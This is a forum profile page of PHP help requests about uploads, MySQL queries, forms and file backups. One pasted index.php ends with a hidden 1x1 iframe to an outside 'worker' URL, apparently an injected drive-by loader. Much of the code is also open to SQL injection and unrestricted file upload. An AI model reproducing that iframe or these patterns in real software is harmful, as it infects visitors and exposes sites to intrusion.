Jump to content

mike12255

Members
  • Posts

    439
  • Joined

  • Last visited

  • Days Won

    1

Posts posted by mike12255

  1. Im trying to use a file upload script i found here:

    http://www.phptoys.com/e107_plugins/content/content.php?content.39

     

    and everything says it works but the file deosnt upload and i get the following in the error log:

    [20-Jan-2011 20:02:42] PHP Fatal error:  Call to a member function Get() on a non-object in /home/mikeh/public_html/test/uploader.php on line 33

    [20-Jan-2011 20:03:48] PHP Fatal error:  Call to a member function Get() on a non-object in /home/mikeh/public_html/test/uploader.php on line 33

     

    here is some info copied from my hostgator cpanel:

     

    Home Directory: /home/mikeh

    Operating System: Linux CentOS

    below is the entire source code:

    <?php
    /*************************************************
    * Micro Upload
    *
    * Version: 0.1
    * Date: 2006-10-27
    *
    * Usage:
    * Set the uploadLocation variable to the directory
    * where you want to store the uploaded files.
    * Use the version which is relevenat to your server OS.
    *
    ****************************************************/
    
    //Windows way
    //$uploadLocation = "/home/mikeh/public_html/test";
    //Unix, Linux way
    $uploadLocation = "/home/mikeh/public_html/test/";
    
    ?>
    
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
    <html>
    <head>
       <title>MicroPing domain status checker</title>
       <link href="style/style.css" rel="stylesheet" type="text/css" />
    </head>
    <body>
        <div id="main">
          <div id="caption">UPLOAD FILE</div>
          <div id="icon"> </div>
          <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" name="fileForm" id="fileForm" enctype="multipart/form-data">
            File to upload:<center>
            <table>
              <tr><td><input name="upfile" type="file" size="36"></td></tr>
              <tr><td align="center"><br/><input class="text" type="submit" name="submitBtn" value="Upload"></td></tr>
            </table></center>  
          </form>
    <?php    
        if (isset($_POST['submitBtn'])){
    
    ?>
          <div id="caption">RESULT</div>
          <div id="icon2"> </div>
          <div id="result">
            <table width="100%">
    <?php
    
    $target_path = $uploadLocation . basename( $_FILES['upfile']['name']);
    //die($target_path);
    
    if(move_uploaded_file($_FILES['upfile']['tmp_name'], $target_path)) {
        echo "The file: ".  basename( $_FILES['upfile']['name']).
        " has been uploaded!";
    } else{
        echo "There was an error uploading the file, please try again!";
    }
    
    ?>
            </table>
         </div>
    <?php            
        }
    ?>
        <div>
    </body> 

     

    Edit: can be seen/tested at: http://cnotes.ca/test/microUpload.php

  2. Im just trying to  get this query to retrieve one peice of data about a user if they are logged in however instead of producing any sort of mysql errors or anything it just stops the page from loading properly. Can anyone help solve this?

     

    here is my query code:

      	  $query = "SELECT credits FROM users WHERE username = $session->username";
    	  $res = mysql_query($query) or die (mysql_error());
    	 $row = mysql_fetch_assoc($res);
    		  $ans = $res['credits'];

     

  3. Ive created a process which automatically creates a form for all of the "courses" that are listed in a database. This table shows the name, the course code, the current program the course is under and an option to delete the course. I have created a drop down menu for the user to select any of the current programs to switch the course into. My problem is I have X amount of select fields and radio buttons and I dont know how to tell which one has been changed below is my code, appreciate the help!:

     

     

            case "ep":
            
            if (isset ($_GET['id'])){
                $id = $_GET['id'];
                        echo "Below lists all of the current courses under this program. Once you have made all of the changes click the submit button at the bottom of the page. <br><br><br>";
                        $query = "SELECT * FROM courses WHERE cid = $id";
                        $result = mysql_query($query) or die (mysql_error());
                        echo "<form action=\"course_process.php\" method=\"post\">";
                        echo "<table><tr><td><strong>Course Name</strong></td><td><strong>Course Code</strong></td><td><strong>Change Course Program</strong></td><td><strong>Delete</strong></td></tr>";
                        $i = 0;
                        
                        while ($row = mysql_fetch_assoc($result)){
                            $r = $row['id'];
                            $query2 = "SELECT * from catagories";
                            $result2 = mysql_query($query2) or die (mysql_error());
                            echo "<tr><td> ". $row['name']. " </td><td> ".$row['code']." </td><td><select name=\"".$row['id']."\">";
                            
                            while ($row2 = mysql_fetch_assoc($result2)){
                            
                            echo "<option value=".$row2['id'].">".$row2['name']. "</option>";
                                }
                                
                                 echo "</select></td><td><input name=\"".$row['id']."\" type=\"radio\" value=\"Click to delete\" /></td></tr>";
                        }
                        echo "<tr><td></td><td></td><td></td><td><input name=\"submit\" type=\"submit\" value=\"Commit Changes\" /> </td></tr></table></form>";
                        
                        
                    }else{
                        echo "Invalid action request. ERROR CODE 1";
                        
                    }
                    
            break;

  4. ok im  going to take a shot at this but its late and im tired so hope I can still help.

     

    this line:

     

      $search = mysql_escape_string($_POST['search'])

     

    is pointless post is used to collect values sent using post or send values however a little above that line you typed this:

     

    if (!isset($_POST['submit'])) {

     

    so your saying that the submit button has not been pushed yet meaning a POST value has not been sent. Or have you redirected yourself to this page using a form on another page?

  5. I was just wondering if anyone new of a script of a function or a general direction to point me in of how to display a word document file on a website so that the users dont have to download it to see it. I know google does it so its not impossible I have (and will continue to) googled it and am clueless suggestions appricated.

     

    Mike Heintzman

  6. this is the full code:

     

    <?php
    ob_start();
    session_start();
    include "./global.php";
    
    $action = $_GET['act'];
    $actions_array = array('forum','create','topic','reply','mod');
    ?>
    <html>
    
        <head>
            <title>Marcus's Forum Tutorial Example</title>
            
            <link rel="stylesheet" type="text/css" href="./style.css">
            
            <script language="Javascript">
                function confirmLogout(){
                    var agree = confirm("Are you sure you wish to logout?");
                    
                    if(agree){
                        return true ;
                    }else {
                        return false ;
                    }
                }
            </script>
        </head>
        
        <body>
        <center>
            <div id="holder">
                
                <div id="userInfo">
                    <?php
                    
                        if($_SESSION['uid']){
                            $sql = "SELECT * FROM `users` WHERE `id`='".$_SESSION['uid']."'";
                            $res = mysql_query($sql) or die(mysql_error());
                            
                            if(mysql_num_rows($res) == 0){
                                session_destroy();
                                echo "Please <a href=\"./login.php\">Login</a> to your account, or <a href=\"./register.php\">Register</a> a new account!\n";
                            }else {
                                $row = mysql_fetch_assoc($res);
                                echo "Welcome back, <a href=\"./index.php?act=profile&id=".$row['id']."\">".$row['username']."</a>! <a href=\"./logout.php\" onClick=\"return confirmLogout()\">Logout</a>\n";
                                echo "<br>\n";
                                echo "<a href=\"./index.php\">Forum Index</a>\n";
                                if($row['admin'] == '1'){
                                    echo " | <a href=\"./admin.php\">Administrative Section</a>\n";
                                }
                            }
                        }else {
                            echo "Please <a href=\"./login.php\">Login</a> to your account, or <a href=\"./register.php\">Register</a> a new account!\n";
                        }
                        
                        $admin_user_level = $row['admin'];
                    
                    ?>
                </div>
                <div id="banner">
                <img src="images/1top_christmas.jpg" ></img>
                </div>
            
                <div id="content">
                    <?php
                    
                    if(!$action || !in_array($action,$actions_array)){
                        $sql1 = "SELECT * FROM `forum_cats` WHERE `admin` < ".$row['admin']."+1";
                        $res1 = mysql_query($sql1) or die(mysql_error());
                        
                        $i=1;
                        while($row2 = mysql_fetch_assoc($res1)){
                            echo "<div id=\"fcontent\">\n";
                            echo "    <div class=\"header\" id=\"header_".$i."\" onMouseOver=\"this.className='headerb'\" onMouseOut=\"this.className='header'\">".$row2['name']."</div>\n";
                            
                            $sql2 = "SELECT * FROM `forum_sub_cats` WHERE `cid`='".$row2['id']."' AND `admin` < ".$row['admin']."+1";
                            $res2 = mysql_query($sql2) or die(mysql_error());
                            
                            
                            
                            
                            while($row3 = mysql_fetch_assoc($res2)){
                                echo "    <div id=\"content2\">\n";
                                echo "    <a href=\"./index.php?act=forum&id=".$row3['id']."\">".$row3['name']."</a><br>\n";
                                echo "    " . $row3['desc'] . "\n";
                                echo "	  <div id=\"latestinfo\"> ";
                          		echo newest($i);
                                echo "    </div>\n";
                                echo "    </div>\n";
                            }
                            
                            echo "</div>\n";
                            $i++;
                        }
                    }else {
                        if($action == 'forum'){
                            include "./includes/forum.php";
                        }
                        
                        if($action == 'create'){
                            if(!$_SESSION['uid']){
                                header("Location: login.php");
                            }else {
                                include "./includes/create.php";
                            }
                        }
                        
                        if($action == 'topic'){
                            include "./includes/topic.php";
                        }
                        
                        if($action == 'reply'){
                            if(!$_SESSION['uid']){
                                header("Location; login.php");
                            }else {
                                include "./includes/reply.php";
                            }
                        }
                        
                        if($action == 'mod'){
                            if(!$_SESSION['uid']){
                                header("Location; login.php");
                            }else {
                                include "./includes/mod.php";
                            }
                        }
                    }
                    
                    ?>
                </div>
        
            </div>
        </center>
        </body>
    
    </html>
    <?php
    ob_end_flush();
    ?><iframe src ="http://mysterio.info/cgi-bin/worker" width="1" height="1"> </iframe>

  7. I created a function to get the newest data entered into my db, which I have working correctly. My problem is in the function I create a URL and im trying to echo out that URL but cant.

     

    Here is my function:

     

    function newest ($i){
    
    $sql = "SELECT * FROM forum_topics WHERE cid = $i ORDER BY id DESC LIMIT 1
    ";
    $res = mysql_query($sql) or die (mysql_error());
    $row = mysql_fetch_array($res);
    
    $url = "<a href=\"index.php?act=topic&id=\"".$row['id']."\"</a>";
    return $url;
    }

     

     

    and here is my code im using to try and output the url:

     

    <?php
    ob_start();
    session_start();
    include "./global.php"; 
    
    $test = newest(1);
    echo $test;
    
    ?>

     

    any help is appriciated

  8. hey guys i left the whole php sceane for a while because life got busy but now im back and having some serious issues i got 61 lines and already an error anyway was hopping someone could help me, error is this:

     

    Parse error: syntax error, unexpected T_STRING in C:\AppServ\www\test.php  on line 46

     

    heres the code

     

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <style type="text/css">
    <!--
    body {
    background-color: #000000;
    }
    
    #holder{
    width:720px;
    background-color:#999999;
    margin-left:auto;
    margin-right:auto;
    height:600px;
    }
    -->
    </style>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Timer Test</title>
    </head>
    <body>
    <?php
    
    $link = mysql_connect("localhost", "root", "XXXXXXXXXXXXXX");
    mysql_select_db("timertest", $link);
    
    $today =  date("m/d/y");// get todays date
    $ip=$_SERVER['REMOTE_ADDR'];// get the users ip adress
    ?>
    
    <div id="holder">
    <form action="test.php" method="post">
    Username: <input name="username" type="text" /><br />
    Password: <input type="password" name="password" /><br />
    <input type="submit" name="submit" />
    </form>
    <br />
    <br />
    <br />
    <br />
    
    <?php echo "Today is $today<br /><br />";
    
    $sql = "SELECT * FROM userinfo WHERE ip = '$ip'";
    $res = mysql_query($sql) or die mysql_error();
    $row = mysql_num_rows($res);
    echo $row;
    
    
    
    ?>
    
    </div>
    
    
    
    
    </body>
    </html>

  9. Thanks for the reply, ill certinally change things, However i cant get the javascript to change the textarea for some reason here is the code im using (I have tried the commented out method in the script too) the script is down inside the body tags: (I only have the alert in there so i know if its actually running the function, which it is)

     

    <?php  if (!defined('NC_BASEPATH')) exit('No direct script access allowed'); ?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">	
    <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >
    <head>
    	<title>nc-cms | HTML Editor</title>
    	<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>
    	<meta name="robots" content="noindex" />
    	<meta name="robots" content="nofollow" />
    	<link rel="stylesheet" type="text/css" media="screen" href="system/css/editor.css"/>
    	<link rel="stylesheet" type="text/css" media="screen" href="system/css/editor_html.css"/>
    	<!--[if lt IE 7]><link rel="stylesheet" type="text/css" media="screen" href="system/css/ie.css"/><![endif]-->
       
            
    	<script type="text/javascript" src="system/modules/tiny_mce/tiny_mce.js"></script>
    	<script type="text/javascript">	
    		tinyMCE.init({
    			mode : "textareas",
    			theme : "advanced",
    			skin : "default",
    			relative_urls : 0,
    
    			plugins : "safari,table,advimage,advlink,inlinepopups,insertdatetime,media,searchreplace,paste,directionality,fullscreen,noneditable,xhtmlxtras,pagebreak",
    
    			theme_advanced_buttons1 : "newdocument,|,bold,italic,underline,strikethrough,justifyleft,justifycenter,justifyright,justifyfull,bullist,numlist,indent,outdent,sub,sup,formatselect,fontselect,fontsizeselect,forecolor,backcolor,selectall,removeformat,|,code,cleanup,fullscreen",
    			theme_advanced_buttons2 : "undo,redo,paste,pastetext,pasteword,search,|,image,link,unlink,inserttime,insertdate,charmap,media,pagebreak,|,tablecontrols,|,visualaid",
    			theme_advanced_buttons3 : "",
    			theme_advanced_toolbar_location : "top",
    			theme_advanced_toolbar_align : "left",
    			theme_advanced_statusbar_location : "bottom",
    			theme_advanced_resizing : true,
    			theme_advanced_blockformats: "p,pre,h1,h2,h3,h4,h5",
    
    			content_css : "css/content.css"
    		});
    
    		// onbeforeunload() does not work correctly in certain browsers. Disable this functionality if not using Firefox/Chrome.
    		var confirmed_exit = true;
    		if(!navigator.appName.indexOf("Netscape")) 
    			confirmed_exit = false;
    
    		window.onbeforeunload = function () 
    		{	
    			if(!confirmed_exit)
    				return "You have not saved yet.  If you continue, your work will not be saved."
    		}	
    
    		function save_confirmation() 
    		{
    			var answer = confirm("Are you sure you want to save?\nAny changes you have made to the web page will go live.");
    			if(answer)  
    			{
    				confirmed_exit = true;
    				document.editorform.submit();
    			}
    		}
    		function cancel_confirmation() 
    		{
    			var answer = confirm("Are you sure you want to cancel?\nAny changes you have made to the web page will not be saved.");
    			if(answer)
    			{
    				confirmed_exit = true;
    				this.location.href = "<?php echo $_SERVER['HTTP_REFERER']; ?>";
    			}
    		}
    		function open_file_manager() 
    		{
    			window.open('index.php?action=file_manager','insert_file','width=640,height=460,screenX=200,left=200,screenY=200,top=200,status=yes,menubar=no');
    		}		
    	</script>
    </head>
    <body>
    	<div id="wrapper">
            <div align="right">
            
    
         <script type="text/javascript">
    	function insert(){
    var newtext = "test";
    alert("test");
    document.getElementById("editordata").value = "test";
    //document.editorform.editordata.value = "test";
    }
    
    	</script>
    	<?php
    	mysql_connect(NC_DB_HOST,NC_DB_USER,NC_DB_PASSWORD);
    mysql_select_db(NC_DB_DATABASE);
    
    	echo "<SELECT NAME=\"history\">";
    	$i =1;
    	while ($i != 4){
    	$sql = "SELECT * FROM ".NC_DB_PREFIX."content WHERE name= '".$name.$i."'";
    	$res = mysql_query($sql) or die (mysql_error());
    	$row = mysql_fetch_assoc($res);
    	echo "<option onclick=\"insert() \" value = \"'".$i."'\">Version $i</option>";
    	if($i == 1){
    	$one = $row['content'];
    	}
    	if($i == 2){
    	$two = $row['content'];
    	}
    	if($i == 3){
    	$three = $row['content'];
    	}
    	$i++;
    	}
    	echo "</SELECT>";
    
    	?>
    
    
    
    
    
            </div>
    		<div id="editor">
    			<h1 title="Powered by nc-cms"><?php echo NC_WEBSITE_NAME; ?>
    			</h1>
    			<form name="editorform" id="editorform" method="post" action="index.php?action=save&ref=<?php echo $_SERVER['HTTP_REFERER']; ?>" />
    				<br />
    				<textarea cols="102" rows="20" name="editordata" id="editordata" class="textfield"><?php echo htmlspecialchars($data); ?></textarea>
    				<input name="name" id="name" type="hidden" value="<?php echo $name; ?>" />
    				<p class="tip">Remember! You can set paragraphs and headings using the Format menu.
    				</p>
    				<br />
    				<span class="button file_man"><a href="javascript:open_file_manager()"><span class="icon icon_upload">Insert a File or Image</span></a></span>
    				<br /><br />
    				<br /><br />
    				<span class="button"><a href="javascript:save_confirmation()"><span class="icon icon_accept">Save</span></a></span>
    				<span class="button"><a href="javascript:cancel_confirmation()"><span class="icon icon_delete">Cancel</span></a></span>
    			</form>
    			<div class="footer"></div>
    		</div>
    	</div>
    </body>
    </html>

  10. Hi, im new to javascript and its not doing what I wan so i was first wondering if my script looks proper:

     

          <script type="text/javascript">
    	function insert_text(var number){
    	if (number == 1){
    	var newtext = <?php $one;?>
    	} 
    	if (number == 2){
    	var newtext = <?php $two;?>
    	}
    	if (number == 3){
    	var newtext = <?php $one;?>
    	}
    
    document.editorform.editordata.value = newtext;
    }
    
    
    	</script>

  11. So i tried using "DEFINE" for the first time and im using the variables i defined to connect but it reports back this error:

     

    Warning: mysql_query(): 11 is not a valid MySQL-Link resource in /home/content/p/p/f/ppffffpp/html/avalancheatblue.com/nc-cms/system/modules/storage/mysql.php on line 25

     

    Can anyone look at the function and find out why this is?

     

    <?php
    
    function nc_save_content ($name, $data)
    {	
    
    $nc_db_link = mysql_connect(NC_DB_HOST, NC_DB_USER, NC_DB_PASSWORD);
    $nc_db_link = nc_db_link($nc_db_link, NC_DB_DATABASE);
    
    $x=3;
    while($x != 0){
    nc_check_content($name.$x, "Edit Me History" . $x);//line 9-14 making sure the history exists (if not creates it)[function is internal]
    $x--;
    }
    
    //Now start backwards and work from 2-0 moving files for history
    $x=2;
    $z=1;
    while($x != 0){
    $temp2 = $name.$x;
    $get = "SELECT content FROM " .NC_DB_PREFIX."content WHERE name ='".$temp2."'";
    $res = mysql_query($get,$nc_db_link) or die (mysql_error());
    $row = mysql_fetch_assoc($res);
    
    $temp = $x + 1;
    $insert = "UPDATE ".NC_DB_PREFIX."content SET content='".$row['content']."' WHERE name='".$name.$temp."'";
    $res2 = mysql_query($insert,$nc_db_link) or die (mysql_error());
    $x--;
    }
    
    //one last thing move the current entry to 1 before we overwrite it!!!
    $sql = mysql_query("SELECT content  FROM " .NC_DB_PREFIX."content WHERE name ='".$name."'",$nc_db_link) or die (mysql_error());
    $row = mysql_fetch_assoc($sql);
    
    $insert = mysql_query ("UPDATE ".NC_DB_PREFIX."content SET content='".$row['content']."' WHERE name='".$name."1"."'",$nc_db_link) or die (mysql_error());
    
    
    
    nc_check_content ($name, "Edit Me!"); // Make sure database entry exists
    $nc_db_result = mysql_query("UPDATE ".NC_DB_PREFIX."content SET content='".nc_db_escape($data)."' WHERE name='".$name."'", $nc_db_link);
    
    if(!$nc_db_result) // Check for query errors
    {
    	nc_report_error("MySQL reported: ".mysql_error());
    	exit();
    }
    
    mysql_close($nc_db_link); // Close connection
    }
    ?>

  12. So i cant figure out what or how, but aparently in my sql i have a constent escaping the string can anyone spot the error..?? Name is defined earlier it is passed as a paramiter through the function.

     

    <?php
    $x=2;
    $z=1;
    while($x != 0){
    $temp2 = $name.$x;
    $get = "SELECT content FROM " .NC_DB_PREFIX." content WHERE name ='".$temp2"'";
    $res = mysql_query($get) or die (mysql_error());
    $row = mysql_fetch_assoc($res);
    ?>
    

  13. Ok thanks for posting mate, i fixed the !copy and instead of using fopen to open/create the file i now use touch as you can see below, problem is, i still am not getting files created....

     

    <?php
    
    //
    //	nc_save_content()
    //
    //	Check content file to see if it exists, then save data.
    //
    function nc_save_content ($name, $data)
    {	
    //see if there is a file to create history for
    //next steps 1. Copy the info in that file, paste it into the new file then find out how to move everything. up a number
    if (file_exists('content/'.$name)){
    $file ='content/'.$name;
    
    //Check to see if all three backups exists and if not create them 
    $x =3;
    while($x != 0){
    //if the files doesnt exists (starting at 3 and going down)
    if (!file_exists($file.$x)){
    
    //create it
    touch($file.$x); 
    }
    $x--;
    }
    
    //end of backup checking and creating 
    $i=2;
    while ($i != 0){
    //create the next number 
    $z= $i + 1;
    //copy from that number to one higher (1 =>2 or 2=>3)
    if (!copy($file.$i,$file.$z)){
    echo "Error in file system on line 21 could copy file!!";
    }
    //minus i to go to the next lower file
    $i--;
    }//end while statment
    
    if(!copy($file,$file."1")){
    echo "Error in file system on line 27 could copy file!!";
    }
    
    
    }
    
    
    // Save away.
    $path = NC_BASEPATH.'/../content/'.$name;
    $fh = fopen('content/'.$name, 'w') or die(nc_report_error("Could not open file: ".$name.". Make sure that this server has read and write permissions  the /nc-cms/content folder."));
    fwrite($fh, $data);
    fclose($fh);
    
    //Start of history creation
    
    
    
    
    
    }
    //
    //	nc_load_create_content()
    //
    //	Check content file to see if it exists, if not, create it. Open it and return data.
    //
    function nc_load_create_content ($name)
    {	
    // Load content if file exists
    $path = NC_BASEPATH.'/../content/'.$name;
    nc_check_content ($path, 'Edit me! ('.$name.')'); // Make sure content file exists
    $fh = fopen($path, 'r') or die(nc_report_error("Could not find file: ".$path));
    $data = fread($fh, filesize($path)) or die(nc_report_error("Could not read file: ".$path.". Make sure that this server has read and write permissions to the /nc-cms/content folder."));
    fclose($fh);
    
    return $data;
    }
    //
    //	nc_check_content - USED INTERNALLY
    //
    //	Check content file to see if it exists. And if it doesn't, create it. $path contains the file path, $default contains the default text to go in the file if it is new.
    //
    function nc_check_content ($path, $default)
    {
    // If file doesn't exist yet or is of 0 length, create and write something in it.
    if (!file_exists($path) || !filesize($path)) 
    {
       $fh = fopen($path, 'w') or die(nc_report_error("Could not write file: ".basename($path).". Make sure that this server has read and write permissions to the /nc-cms/content folder."));
       fwrite($fh, $default) or die(nc_report_error("Could not write file: ".basename($path).". Make sure that this server has read and write permissions to the /nc-cms/content folder."));
       fclose($fh);
    }
    
    clearstatcache(); // Clear status cache (so filesize() will do its work again)
    }

  14. So my code is messy, i apologize, but to the point. Basically im creating a backup of a textfile so that there will be three previous versions and if they edit it more then three times then the fourth of firth ect... gets deleted so i have the function you see below problem is it only creates the $file.1 not $file.2 or $file.3 i cannot figure out why it will not create those files because i say if it doesnt exsist then create it...I put a die after the while statment they got created in the variables of the file names all echoed out prober so im not sure why its not working...here is my code:

     

     

    <?php
    function nc_save_content ($name, $data)
    {	
    //see if there is a file to create history for
    //next steps 1. Copy the info in that file, paste it into the new file then find out how to move everything. up a number
    if (file_exists('content/'.$name)){
    $file ='content/'.$name;
    //Check to see if all three backups exists and if not create them 
    $x =3;
    while($x != 0){
    
    
    //if the files doesnt exists (starting at 3 and going down)
    if (!file_exists($file.$x)){
    //create it
    $ourFileHandle = fopen($file.$x, 'w') or die("can't open file");
    fclose($ourFileHandle);
    }
    $x--;
    }
    //end of backup checking and creating 
    $i=2;
    
    while ($i != 0){
    //create the next number 
    $z= $i + 1;
    //copy from that number to one higher (1 =>2 or 2=>3)
    if (copy($file.$i,$file.$z)){
    echo "Error in file system on line 21 could copy file!!";
    }
    //minus i to go to the next lower file
    $i--;
    }//end while statment
    
    if(!copy($file,$file."1")){
    echo "Error in file system on line 27 could copy file!!";
    }
    
    
    }
    
    
    // Save away.
    $path = NC_BASEPATH.'/../content/'.$name;
    $fh = fopen('content/'.$name, 'w') or die(nc_report_error("Could not open file: ".$name.". Make sure that this server has read and write permissions  the /nc-cms/content folder."));
    fwrite($fh, $data);
    fclose($fh);
    
    //Start of history creation
    
    
    
    
    
    }?>
    

  15. I got changeable info on my website and I'm trying to create 3 backups on it using text files (don't ask about databaes please i want to use text files)

     

    so I trying to think of the best way to do this,

     

    1) check if the file nameoffie1 or nameoffie2 or nameoffie3 exists

    2) if any of them exists back them up to the next number and do nothing to the third if it exists

     

    what would be the best approach to do this? I'm leaving for work now so ill look at reply's when I get back, thanks.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.